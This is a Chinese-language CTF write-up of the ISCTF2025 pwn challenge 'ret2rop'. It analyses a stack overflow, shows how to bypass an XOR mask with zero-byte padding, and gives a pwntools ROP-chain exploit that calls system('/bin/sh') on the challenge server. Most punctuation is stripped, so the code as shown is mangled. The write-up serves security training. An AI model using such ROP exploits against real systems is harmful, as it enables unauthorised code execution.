ISCTF2025_pwn_ret2rop

张开发
2026/4/10 7:16:45 15 分钟阅读

分享文章

ISCTF2025_pwn_ret2rop
题目分析虽然这是道最简单的ret题目但是我还是调了好久这道题rop链很好写但是还是有细节要注意的同时结构体内的异或如何绕过也是一大考点void__cdeclvuln(){$F60773D3744C13F48A6AC74423E18A6D frame_0x50;// [rsp0h] [rbp-50h] BYREFssize_tn;// [rsp40h] [rbp-10h]ssize_ti;// [rsp48h] [rbp-8h]puts(please int your name);read(0,name,0x10u);puts(please introduce yourself);getRandom(frame_0x50.mask,32);nread(0,frame_0x50,0x100u);if(n0){for(i0;in;i)frame_0x50.buf[i]^frame_0x50.mask[i];}}这里有非常严重的栈溢出可以写100字节而缓冲区为50字节要注意我们这里不是直接有pop rdi而是有pop rsi和mov rdirsi这两个gadgets组合的这里有个很奇怪的现象就是用于栈对齐的ret放的位置试验中注意到ret只能放在system前而不能放在pop前不知道为什么日后研究一下。我们先查看frame这个结构体的结构00000000struct$F60773D3744C13F48A6AC74423E18A6D// sizeof0x4000000000{// XREF: vuln/r00000000charbuf[32];00000020charmask[32];// XREF: vuln82/o00000040};再看看这个异或的逻辑我们知道任何数去异或0都还是本身可以用\x00填充根据结构体逻辑异或相当于for(inti0;in;i){buf[i]^buf[32i];}所以我们还要在payload末尾填充\x00来防止前面的payload被修改expfrompwnimport*context.log_leveldebuglocal1iflocal:pprocess(./ret2rop)#gdb.attach(p,b *0x401C97)else:premote(challenge.imxbt.cn,32263)mov_rdi_rsi0x401a21pop_rsi0x401A18ret_addr0x40101aname_addr0x4040F0system_addr0x401A39p.recvuntil(bif you want to watch demo)p.sendline(bno)p.sendlineafter(bplease int your name,b/bin/sh\x00)p.recvuntil(bplease introduce yourself)payloadb\x00*0x58p64(pop_rsi)p64(name_addr)p64(mov_rdi_rsi)p64(ret_addr)p64(system_addr)b\x00*0x40p.send(payload)gdb.attach(p,b *0x401C14)p.interactive()

更多文章